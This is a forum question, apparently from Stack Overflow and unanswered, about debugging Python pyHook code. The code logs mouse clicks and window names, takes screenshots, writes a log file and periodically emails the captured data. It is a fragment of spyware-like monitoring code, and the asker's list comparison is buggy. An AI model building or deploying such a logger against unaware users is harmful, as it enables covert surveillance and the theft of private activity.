0

I am currently blocked on a point of a program in Python.

I wish to compare in a list, the WindowName event to launch directives.

Example:

import win32api
import pyHook
liste = ["Google", "Task"]
if event.WindowName == liste:
       Screenshot ()
       return True
else:
       return False

Complete code, he work:

def OnMouseEvent(event):
    global interval
    data = '\n[' + str(time.ctime().split(' ')[3]) + ']' \
        + ' WindowName : ' + str(event.WindowName)
    data += '\n\tButton:' + str(event.MessageName)
    data += '\n\tClicked in (Position):' + str(event.Position)
    data += '\n===================='
    global t, start_time, pics_names
    """
    Code Edit
    """
    t = t + data
    if len(t) > 300:
        ScreenShot()
    """
    Finish
    """
    if len(t) > 500:
        f = open('Logfile.txt', 'a')
        f.write(t)
        f.close()
        t = ''

    if int(time.time() - start_time) == int(interval):
        Mail_it(t, pics_names)
        start_time = time.time()
        t = ''

        return True
    else:
        return False

When i edit the code in """ doesn't work :

    t = t + data
    liste = ["Google", "Task"]
    if event.WindowName == liste:
        ScreenShot()

He return :

File "C:\Python26\lib\site-packages\pyHook\HookManager.py", line 324, in  MouseSwitch func = self.mouse_funcs.get(msg) TypeError: an integer is required

I test this :

HookManager: func = self.keyboard_funcs.get(msg) to: func=self.keyboard_funcs.get( int(str(msg)) )

But is don't work, i think i note all problem. Thanks for you help in advance :)

Leiro
  • 1
  • 2

0 Answers0